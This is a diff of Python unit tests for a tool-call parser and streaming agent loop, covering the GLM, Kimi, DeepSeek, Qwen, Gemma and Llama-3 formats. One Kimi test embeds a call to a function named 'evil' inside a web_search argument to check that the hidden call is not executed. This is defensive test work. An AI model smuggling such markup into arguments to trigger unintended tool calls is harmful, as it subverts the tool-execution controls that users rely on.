+    so the dispatch order keeps both formats working."""
+
+    def test_glm_simple_call(self):
+        import json as _json
+
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>weather Tokyo</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = _json.loads(result[0]["function"]["arguments"])
+        # Strings come through raw; the parser does not double-quote.
+        assert args == {"query": "weather Tokyo"}
+
+    def test_glm_mixed_types_decode_correctly(self):
+        # Per the chat_template.jinja, strings are emitted raw and non-strings are JSON-encoded.
+        import json as _json
+
+        text = (
+            "<tool_call>complex_function\n"
+            "<arg_key>name</arg_key>\n<arg_value>John Doe</arg_value>\n"
+            "<arg_key>age</arg_key>\n<arg_value>30</arg_value>\n"
+            "<arg_key>active</arg_key>\n<arg_value>true</arg_value>\n"
+            "<arg_key>score</arg_key>\n<arg_value>95.5</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"name": "John Doe", "age": 30, "active": True, "score": 95.5}
+
+    def test_glm_multi_call_back_to_back(self):
+        # GLM emits parallel calls as consecutive ``<tool_call>...
+        # </tool_call>`` blocks with no outer envelope.
+        text = (
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            "<tool_call>b\n<arg_key>y</arg_key>\n<arg_value>2</arg_value>\n</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_glm_unclosed_tool_call_does_not_lose_value(self):
+        # Truncated mid-stream (no </tool_call>) -- the parser must
+        # still surface what it found rather than dropping the call.
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n<arg_value>partial</arg_value>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_does_not_break_qwen_path(self):
+        # Real Qwen emission must still be parsed by the Qwen branch,
+        # not silently misrouted to GLM (the marker is shared).
+        text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_strip_markup(self):
+        text = (
+            "before "
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_glm_zero_arg_inline_call(self):
+        # GLM 4.7 emits a no-argument call inline as ``<tool_call>name</tool_call>`` (name followed
+        # straight by the close tag, no \n / <arg_key>).
+        import json as _json
+
+        text = "<tool_call>get_current_date</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert _json.loads(result[0]["function"]["arguments"]) == {}
+
+    def test_glm_zero_arg_call_in_parallel_batch(self):
+        # A no-arg call alongside a normal one must not make either vanish.
+        text = (
+            "<tool_call>get_current_date</tool_call>"
+            "<tool_call>get_weather\n<arg_key>city</arg_key>\n"
+            "<arg_value>Tokyo</arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_glm_string_value_whitespace_preserved(self):
+        # The template emits string args verbatim, so significant leading / trailing whitespace
+        # (code, diffs) must survive.
+        import json as _json
+
+        text = (
+            "<tool_call>run\n<arg_key>code</arg_key>\n"
+            "<arg_value>    indented code    </arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "    indented code    "}
+
+
+class TestParserKimi:
+    """Kimi K2 / Moonshot coverage. ASCII pipes only (NOT full-width).
+    Name arrives as ``functions.NAME:IDX``; the parser strips the
+    prefix and the index to recover the bare callable name while
+    preserving the full id for round-trip rendering."""
+
+    def test_kimi_simple_call(self):
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.special_function:0"
+            "<|tool_call_argument_begin|>"
+            '{"arg1": 1}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        # Bare name recovered; full id preserved verbatim.
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[0]["id"] == "functions.special_function:0"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_outer_tool_call_with_embedded_kimi_marker_parses_outer(self):
+        # A Qwen/Hermes <tool_call> whose argument contains literal Kimi markup (a user asking
+        # about that syntax) must execute the OUTER call, not the embedded marker via the ...
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":'
+            '"explain <|tool_call_begin|>functions.evil:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}'
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_genuine_kimi_call_without_envelope_still_parses(self):
+        # Control: a real Kimi call with no leading <tool_call> envelope must
+        # still go through the pre-pass.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.web_search:0"
+            '<|tool_call_argument_begin|>{"query":"x"}<|tool_call_end|>'
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_kimi_multi_call_with_index(self):
+        # Multiple consecutive calls inside a single section, each
+        # with its own monotonically incrementing ``:IDX``.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "read_file"
+        assert result[0]["id"].endswith(":0")
+        assert result[1]["function"]["name"] == "web_search"
+        assert result[1]["id"].endswith(":1")
+
+    def test_kimi_dotted_name_keeps_full_dotted_name(self):
+        # A dotted Kimi id keeps its FULL name after stripping only the ``functions.`` prefix and
+        # ``:idx`` suffix -- matching current vLLM ...
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>a.b.c:2"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "a.b.c"
+
+    def test_kimi_dotted_mcp_name_with_functions_prefix(self):
+        # ``functions.mcp.server-list:0`` must resolve to ``mcp.server-list``
+        # (only the ``functions.`` prefix and ``:idx`` are removed).
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.mcp.server-list:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp.server-list"
+
+    def test_kimi_multi_call_recovers_when_first_end_marker_missing(self):
+        # First call omits its <|tool_call_end|>; the second must still parse.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["read_file", "web_search"]
+
+    def test_kimi_handles_unclosed_section(self):
+        # End marker missing -- the parser must still extract the call.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.foo:0"
+            "<|tool_call_argument_begin|>"
+            '{"a":1}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+
+    def test_kimi_strip_markup(self):
+        text = (
+            "before "
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.x:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_kimi_signal_wakes_streaming(self):
+        text = "<|tool_calls_section_begin|>..."
+        assert has_tool_signal(text)
+
+    def test_kimi_call_without_section_wrapper(self):
+        # llama.cpp makes the ``<|tool_calls_section_begin|>`` wrapper optional -- Kimi K2 can emit
+        # a bare ``<|tool_call_begin|>`` call.
+        import json as _json
+
+        text = (
+            "<|tool_call_begin|>functions.execute_command:0"
+            "<|tool_call_argument_begin|>"
+            '{"cmd":"ls"}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "execute_command"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_kimi_malformed_json_recovers_later_calls(self):
+        # A call with malformed / truncated JSON must not drop the valid calls that follow it in
+        # the same section (the bad call is skipped, the good one is recovered).
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.a:0"
+            '<|tool_call_argument_begin|>{"city":"Beijing"'  # missing closing brace
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.b:1"
+            '<|tool_call_argument_begin|>{"city":"Shanghai"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "b"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Shanghai"}
+
+
+class TestParserCrossFormatRouting:
+    """Ensure the per-format dispatch order doesn't misroute any
+    family. Real emissions for each new family + every old family
+    must still parse correctly when intermixed."""
+
+    def test_dispatch_routes_each_family_correctly(self):
+        cases = [
+            (
+                "Qwen",
+                '<tool_call>{"name":"a","arguments":{"x":1}}</tool_call>',
+                "a",
+            ),
+            (
+                "DeepSeek V3.1",
+                "<｜tool▁calls▁begin｜>"
+                "<｜tool▁call▁begin｜>get_time"
+                "<｜tool▁sep｜>"
+                '{"city":"Tokyo"}'
+                "<｜tool▁call▁end｜>"
+                "<｜tool▁calls▁end｜>",
+                "get_time",
+            ),
+            (
+                "GLM",
+                "<tool_call>web_search\n"
+                "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+                "</tool_call>",
+                "web_search",
+            ),
+            (
+                "Kimi",
+                "<|tool_calls_section_begin|>"
+                "<|tool_call_begin|>functions.add:0"
+                "<|tool_call_argument_begin|>"
+                '{"a":1}'
+                "<|tool_call_end|>"
+                "<|tool_calls_section_end|>",
+                "add",
+            ),
+        ]
+        for label, text, expected_name in cases:
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"{label}: parser missed the call"
+            assert result[0]["function"]["name"] == expected_name, (
+                f"{label}: got {result[0]['function']['name']!r}, " f"expected {expected_name!r}"
+            )
+
+    def test_all_new_markers_in_tool_xml_signals(self):
+        # The safetensors / MLX streaming buffer must wake on every supported emission marker --
+        # otherwise the BUFFERING state leaks tool content to the user before parse.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<｜tool▁calls▁begin｜>",
+            "<｜tool▁call▁begin｜>",
+            "<|tool_calls_section_begin|>",
+            "<|tool_call_begin|>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+
 def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     captured_tool_names: list[list[str]] = []
     exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
@@ -347,6 +1817,449 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events)
 
 
+def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation():
+    # A spent one-shot (render_html) stays in the ORIGINAL tool list; detection is gated on
+    # that list (matching the strip gate) so a re-emitted repeat is drained and routed to the
+    # repeat no-op instead of stripped into a blank continuation.
+    exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+    turns = iter(
+        [
+            [
+                '<tool_call>{"name":"render_html","arguments":{"code":"<html>one</html>"}}</tool_call>'
+            ],
+            ['render_html[ARGS]{"code":"<html>two</html>"}'],  # spent one-shot rehearsal
+            ["The chart is above."],
+        ]
+    )
+
+    def gen(_messages, *, active_tools = None):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "make a chart"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "web_search"}},
+            ],
+            execute_tool = exec_fn,
+            max_tool_iterations = 5,
+        )
+    )
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # render_html ran exactly once; the repeat was a no-op, not a second execution.
+    assert exec_fn.calls == [("render_html", {"code": "<html>one</html>"})], exec_fn.calls
+    # The loop continued past the repeat to the real answer (not a blank continuation).
+    assert any("The chart is above." in t for t in contents), contents
+    # The raw rehearsal markup never leaked as visible content.
+    assert not any("render_html[ARGS]" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_is_not_streamed_before_args():
+    # A rehearsal whose name and [ARGS] arrive together must drain, not stream the bare name.
+    loop, exec_fn = _make_loop(
+        turns = [['web_search[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_split_before_args_is_not_streamed():
+    # Finding 5: name and [ARGS] in separate chunks -- the bare name is held until [ARGS] arrives.
+    loop, exec_fn = _make_loop(
+        turns = [["web_search", '[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_plain_word_matching_no_tool_still_streams():
+    # The prefix guard must not swallow prose: a non-tool bare word streams.
+    loop, _exec = _make_loop(
+        turns = [["weather", " is nice today."]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "weather is nice today." in contents, contents
+
+
+def test_rehearsal_name_after_prose_in_streaming_is_not_streamed():
+    # After prose has streamed (STREAMING state), a split rehearsal name must still be held.
+    loop, exec_fn = _make_loop(
+        turns = [
+            # _make_loop accumulates these deltas into cumulative snapshots.
+            ["Let me think. ", "I will search ", "web_search", '[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_name_after_prose_same_chunk_in_streaming_is_not_streamed():
+    # Prose then ``web_search[ARGS]{...}`` in one chunk: the boundary is pulled back over the name.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Sure. ", 'now web_search[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_initial_buffer_flush_holds_split_rehearsal_name():
+    # First flush out of BUFFERING applies the same trailing-name hold as STREAMING.
+    loop, exec_fn = _make_loop(
+        turns = [["I will use python", '[ARGS]{"code":"print(1)"}'], ["done"]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("python", {"code": "print(1)"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("python" in t for t in contents), contents
+
+
+def test_think_rehearsal_streams_monotonically_and_keeps_reasoning():
+    # A think rehearsal streams the same text the final strip keeps: cumulative content is
+    # monotonically non-decreasing and ends with the markup intact.
+    loop, exec_fn = _make_loop(
+        turns = [["<think>plan ", 'search[ARGS]{"q":"x"}', "</think> visible"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert exec_fn.calls == [], exec_fn.calls
+    assert all(len(b) >= len(a) for a, b in zip(contents, contents[1:])), contents
+    final = contents[-1] if contents else ""
+    assert 'search[ARGS]{"q":"x"}' in final, contents
+    assert "visible" in final, contents
+
+
+def test_plain_answer_ending_with_tool_name_word_is_preserved():
+    # End-of-stream flush: a plain answer ending on a tool-name word is prose, not dropped.
+    loop, exec_fn = _make_loop(
+        turns = [["I think ", "you should ", "web_search"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in contents), contents
+
+
+def test_long_tool_name_split_rehearsal_is_not_capped_and_executes():
+    # Finding 10/11: an MCP name longer than the buffer cap, split before [ARGS], is still
+    # held (self-bounding prefix); no leak and the call executes.
+    from core.inference.safetensors_agentic import _MAX_BUFFER_CHARS
+
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= _MAX_BUFFER_CHARS, len(name)
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([[name, name + '[ARGS]{"x":1}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [(name, {"x": 1})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(name in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_rehearsal_name_is_not_streamed():
+    # Finding 6: unrestricted mode treats any bare identifier as a possible rehearsal NAME.
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_after_bracket_is_not_streamed():
+    # Unrestricted mode: a chunk split right after ``NAME[`` is still held (parity with the
+    # restricted-mode startswith hold).
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search[", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search[" in t for t in contents), contents
+
+
+def test_unrestricted_mode_plain_prose_still_streams():
+    # The unrestricted hold releases a held identifier once the rest of the sentence follows.
+    def st(_messages, active_tools = None):
+        for snap in ("Hello", "Hello there friend."):
+            yield snap
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            execute_tool = FakeExecuteTool([]),
+            max_tool_iterations = 1,
+        )
+    )
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Hello there friend." in contents, contents
+
+
+def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
+    # A late call caught by the safety net: an unclosed ``<tool_call>`` heals only with Auto-Heal on;
+    # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call.
+    prose = "Sure, let me look that up for you right now. "
+    incomplete = '<tool_call>{"name":"web_search","arguments":{"query":"weather in Sydney"}}'
+
+    loop_off, exec_off = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = False,
+        max_tool_iterations = 3,
+    )
+    events_off = _collect_events(loop_off)
+    assert exec_off.calls == [], "disabled Auto-Heal must not execute a healed incomplete call"
+    assert not [e for e in events_off if e.get("type") == "tool_start"]
+
+    loop_on, exec_on = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = True,
+        max_tool_iterations = 3,
+    )
+    _collect_events(loop_on)
+    assert exec_on.calls == [("web_search", {"query": "weather in Sydney"})], exec_on.calls
+
+
+def test_bare_json_tool_call_is_not_streamed_as_content():
+    # Llama-3.2 ``custom_tools`` bare form ``{"name":..,"parameters":..}`` carries no
+    # XML signal. The loop must BUFFER it until the object closes and execute it via
+    # the safety net, never leaking the raw JSON to streaming clients as content.
+    bare = '{"name":"web_search","parameters":{"query":"cats"}}'
+    loop, exec_fn = _make_loop(
+        turns = [[bare], ["Here are the results."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+    assert any("Here are the results." in t for t in contents)
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call():
+    # Markerless JSON whose "name" is not an enabled tool (e.g. a person record
+    # ``{"name":"Alice",...}``) must be shown as the answer, not misread as a call
+    # to a disabled tool and dropped. _make_loop enables web_search/python/terminal.
+    answer = '{"name":"Alice","parameters":{"age":30}}'
+    loop, exec_fn = _make_loop(turns = [[answer]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_bare_json_tool_call_split_across_chunks_is_not_streamed():
+    # Same as above but the bare object arrives split mid-key, so the buffer is
+    # held open across chunks before it balances.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ['{"name":"web_', 'search","parameters":{"query":"cats"}}'],
+            ["Done."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_is_not_streamed_as_content():
+    # Gemma 4 wrapper-less ``call:NAME{...}`` has no XML signal; the loop must hold
+    # it (BUFFERING) and execute it, never streaming the raw call text.
+    loop, exec_fn = _make_loop(
+        turns = [["call:web_search{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_with_whitespace_is_suppressed_when_streamed():
+    # Gemma may emit ``call : NAME{...}`` with whitespace around the colon, split across stream
+    # chunks.
+    loop, exec_fn = _make_loop(
+        turns = [["call", " : ", "web_search", "{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call" in t for t in contents), contents
+
+
+def test_long_gemma_tool_name_is_not_streamed_as_content():
+    # A tool name longer than the small buffer cap (OpenAI 64 chars, MCP longer)
+    # must still be held: the ``call:NAME`` prefix keeps buffering until ``{``
+    # instead of leaking ``call:longname`` as visible text.
+    long_name = "mcp__github__list_repository_issues"  # 35 chars
+    turns = iter([list('call:%s{repo:"octo/hello"}' % long_name), ["Done."]])
+
+    def _gen(_messages):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    exec_fn = FakeExecuteTool(["RESULT"])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": long_name}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [(long_name, {"repo": "octo/hello"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:" in t for t in contents), contents
+
+
+def test_leading_json_answer_is_not_dropped():
+    # A leading ``{...}`` that is NOT a tool call must still surface as content:
+    # the bare-JSON hold can only ever delay it to end-of-object, never drop it.
+    obj = '{"answer": 42, "note": "done"}'
+    loop, exec_fn = _make_loop(
+        turns = [[obj]],
+        exec_results = [],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any('"answer"' in t for t in contents), contents
+
+
+def _reprompt_loop(*, auto_heal_tool_calls):
+    """Drive one restricted tool with an intent-only first turn to exercise the nudge; returns conversations and events."""
+    captured: list[list] = []
+
+    def fake_single_turn(messages, active_tools = None):
+        captured.append(list(messages))
+        if len(captured) == 1:
+            yield "I'll search for that now."  # forward-looking intent, no call
+        else:
+            yield "Final answer."
+
+    exec_fn = FakeExecuteTool([])
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = fake_single_turn,
+            messages = [{"role": "user", "content": "find X"}],
+            tools = [{"type": "function", "function": {"name": "search_knowledge_base"}}],
+            execute_tool = exec_fn,
+            auto_heal_tool_calls = auto_heal_tool_calls,
+            # Studio always nudges (always-on for the Studio inference paths); the
+            # API opts in per request. Model the Studio caller here.
+            nudge_tool_calls = True,
+            max_tool_iterations = 3,
+        )
+    )
+    return captured, events
+
+
+def test_reprompt_names_only_active_tools_not_hardcoded():
+    # The plan-without-action nudge must name the tools actually enabled, never the
+    # old hardcoded ``web_search``/``python`` (which a restricted set would reject).
+    captured, _events = _reprompt_loop(auto_heal_tool_calls = True)
+    assert len(captured) >= 2, "intent prose should have triggered a re-prompt turn"
+    reprompt = captured[1][-1]
+    assert reprompt["role"] == "user"
+    assert "search_knowledge_base" in reprompt["content"]
+    assert "web_search" not in reprompt["content"]
+    assert "python" not in reprompt["content"]
+
+
+def test_reprompt_suppressed_when_auto_heal_disabled():
+    # With Auto-Heal off the safetensors nudge must stay silent for backend parity
+    # with the GGUF loop, so only the single initial generation runs.
+    captured, events = _reprompt_loop(auto_heal_tool_calls = False)
+    assert len(captured) == 1, captured
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("search for that" in t for t in contents)
+
+
 class TestLoopBasic:
     def test_plain_answer(self):
         # No tool XML; loop should yield content then status="".
@@ -406,6 +2319,154 @@ class TestLoopBasic:
         contents = [e for e in events if e["type"] == "content"]
         assert "Result: 1" in contents[-1]["text"]
 
+    def test_llama3_python_tag_form(self):
+        # The agentic loop must recognise Llama-3's <|python_tag|>
+        # marker, drain the rest of the turn, and execute the call.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|python_tag|>web_search.call(",
+                    'query="weather in Tokyo"',
+                    ")",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in Tokyo"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_llama3_bare_json_form_fires_tool(self):
+        # Llama-3.1 / 3.2 emit a bare-JSON tool call
+        # ``{"name":..,"parameters":..}`` with NO XML signal. The loop's
+        # safety-net parse must still fire the tool instead of treating the
+        # turn as "planned without calling tools" and re-prompting the model
+        # into giving up. Regression for the has_tool_signal gate that
+        # dropped these; GGUF's llama-server parses them natively.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['{"name": "web_search", "parameters": {"query": "weather in SF"}}'],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 18C"],
+        )
+        events = _collect_events(loop)
